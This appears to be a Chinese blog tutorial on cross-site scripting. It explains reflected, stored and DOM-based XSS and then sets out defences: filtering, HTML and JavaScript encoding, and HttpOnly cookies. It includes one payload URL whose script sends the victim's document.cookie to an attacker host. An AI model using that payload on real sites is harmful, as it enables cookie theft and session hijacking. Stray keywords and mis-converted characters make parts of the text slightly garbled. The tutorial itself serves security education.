XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些恶意的脚本代码(HTML、JavaScript)到Web页面中去,使别的用户访问都会执行相应的嵌入代码。javascript
XSS其实是利用用户对站点的信任。html
Cookie窃取,Session劫持,钓鱼攻击,蠕虫,DDos等。java
非持久化,用户在页面输入框中输入数据,经过GET或者POST方法向服务器端传递数据,输入的数据通常是放在URL的Query string中,或者是form表单中,若是服务端没有对这些数据进行过滤、验证或者编码,直接将用户输入的数据呈现出来,就可能会形成反射型XSS。web
黑客一般经过构造一个包含XSS代码的URL,诱导用户点击连接,触发XSS代码,达到劫持访问、获取 Cookie的目的。数据库
持久化,一般是由于服务器端将用户输入的恶意脚本没有通过验证就存储在数据库中,而且经过调用数据库的方式,将数据呈如今浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。存储型的XSS攻击相比反射型的危害性更大,由于每当用户打开页面,恶意脚本都会执行。浏览器
DOM (Document Object Model),全称:文档对象模型,是中立于平台和语言的接口,它容许程序和脚本动态地访问和更新文档的内容、结构和样式。
DOM型XSS实际上是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。能够经过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就能够利用JS脚原本实现XSS漏洞的利用。安全
容易致使DOM型的XSS的输入源包括:
Document.URL
Document.referrer
Document.cookie
Window.name
Location.[pathname|href|search|hash]
localStorage/globalStorage服务器
DVWA代码分析:http://www.freebuf.com/articl...cookie
获取Cookie Payload:xss
http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
一、使用 XSS Filter
针对用户提交的数据进行有效的验证,只接受咱们规定的长度或内容的提交,过滤掉其余的输入内容。好比:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
过滤或移除特殊的 html 标签:<script>、<iframe>等。
过滤 js 事件的标签:onclick、onerror、onfocus等。
二、HTML实体
当须要往HTML标签之间插入不可信数据的时候,首先要作的就是对不可信数据进行HTML Entity编码,在HTML中有些字符对于HTML来讲是具备特殊意义的,因此这些特殊字符不容许在文本中直接使用,须要使用实体字符。HTML实体的存在是致使XSS漏洞的主要愿意之一,所以咱们须要将实体转化为相应的实体编号。
描述 实体名称 空格 & 和号 & < 小于号 < > 大于号 > ' 单引号 ' " 双引号 "
三、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。在往JavaScript代码里插入数据的时候,只有一种状况是安全的,那就是对不可信数据进行JavaScript编码,而且只把这些数据放到使用引号包围起来的值部分(data value)之中。
注意:在对不可信数据作编码的时候,不能图方便使用反斜杠 对特殊字符进行简单转义,好比将双引号 " 转义成 " ,这样作是不可靠的,由于浏览器在对页面作解析的时候,会先进行HTML解析,而后才是JavaScript解析,因此双引号极可能会被当作HTML字符进行HTML解析,这时双引号就能够突破代码的值部分,使得攻击者能够继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母之外的全部字符,使用十六进制xhh 的方式进行编码。
四、Http Only Cookie许多XSS攻击的目的就是为了获取用户的Cookie,将重要的Cookie标记为HTTP Only,这样的话当浏览器向服务端发起请求时就会带上Cookie字段,可是在脚本中却不能访问Cookie,这样就避免了XSS攻击利用js的document.cookie获取Cookie。